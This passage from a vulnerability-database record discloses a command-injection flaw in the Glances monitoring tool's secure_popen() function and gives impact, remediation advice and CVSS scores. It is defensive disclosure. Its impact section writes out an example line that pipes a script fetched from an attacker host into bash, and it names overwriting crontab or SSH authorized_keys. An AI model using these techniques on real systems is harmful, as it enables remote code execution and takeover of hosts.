/etc/crontab\n```\n\n**Cleanup:**\n\n```bash\nrm -f /tmp/poc-glances.conf /tmp/cve-poc-marker-amp\n```\n\n### Impact\n\nAn attacker who can modify `glances.conf` (e.g., through a separate file-write vulnerability, a misconfigured shared filesystem, a configuration management system, or a container volume mount) can:\n\n1. **Write arbitrary content to arbitrary files** via the `\u003e` operator — e.g., overwriting `/etc/crontab`, `~/.ssh/authorized_keys`, or any file writable by the Glances process user.\n\n2. **Execute arbitrary commands** via the `\u0026\u0026` and `|` operators — e.g., `echo x \u0026\u0026 curl http://attacker.com/shell.sh | bash`.\n\n3. **Exfiltrate data** via the `|` operator piping command output to network utilities.\n\nThe existing `--disable-config-exec` mitigation for CVE-2026-33641 does not protect against this vulnerability because it operates at a different layer (`config.get_value()` backtick processing vs. `secure_popen()` operator interpretation).\n\n### Suggested remediation\n\n1. **Remove file redirection support from `secure_popen()`** unless explicitly required. The `\u003e` operator in `__secure_popen()` (lines 39-45, 69-72) writes to arbitrary paths. Consider removing this feature or restricting output paths to a safe directory (e.g., a configured output directory with path traversal protection).\n\n2. **Sanitize AMP command values** before passing them to `secure_popen()`. Apply the same sanitization used in `actions.py:_sanitize_mustache_dict()` to strip `\u0026\u0026`, `|`, `\u003e\u003e`, and `\u003e` from AMP command and service_cmd config values, or refuse to execute commands containing these operators.\n\n3. **Consider replacing `secure_popen()` with `subprocess.run(shell=False)`** using explicit argument arrays. The `secure_popen()` function reimplements shell-like operator parsing (`\u0026\u0026`, `|`, `\u003e`) which is inherently risky. Standard `subprocess.run()` with `shell=False` and an explicit argument list avoids this class of vulnerability entirely.\n\n4. **Add a regression test** that verifies AMP commands cannot contain file redirection or command chaining operators.","status":"published","published":"2026-07-13T15:46:23.368853Z","modified":"2026-07-13T16:32:38.352275643Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:55.961245Z"},{"id":"UBUNTU-CVE-2026-53925","description":"Glances is an open-source system cross-platform monitoring tool. From 4.0.8 until 4.5.5, the secure_popen() function in glances/secure.py interprets \u003e (file redirection), | (pipe), and \u0026\u0026 (command chaining) operators in command strings. These operators are applied without any validation on the target file path, piped command, or chained command. When Application Monitoring Process (AMP) modules load their command or service_cmd configuration values from glances.conf, those values are passed directly to secure_popen() with no sanitization. This allows an attacker who can modify the Glances configuration file to write arbitrary content to arbitrary filesystem paths (via \u003e), chain arbitrary commands (via \u0026\u0026), or pipe command output to arbitrary programs (via |). This vulnerability is fixed in 4.5.5.","status":"published","published":"2026-06-25T19:16:00Z","modified":"2026-06-29T23:19:13.950740431Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T16:56:41.382716Z"},{"id":"openSUSE-SU-2026:11122-1","title":"glances-common-4.5.5-1.1 on GA media","description":"These are all security issues fixed in the glances-common-4.5.5-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-06-25T00:00:00Z","modified":"2026-06-26T08:15:05.733065825Z","updated_at":"2026-11-02T16:58:38.95195Z"}]}}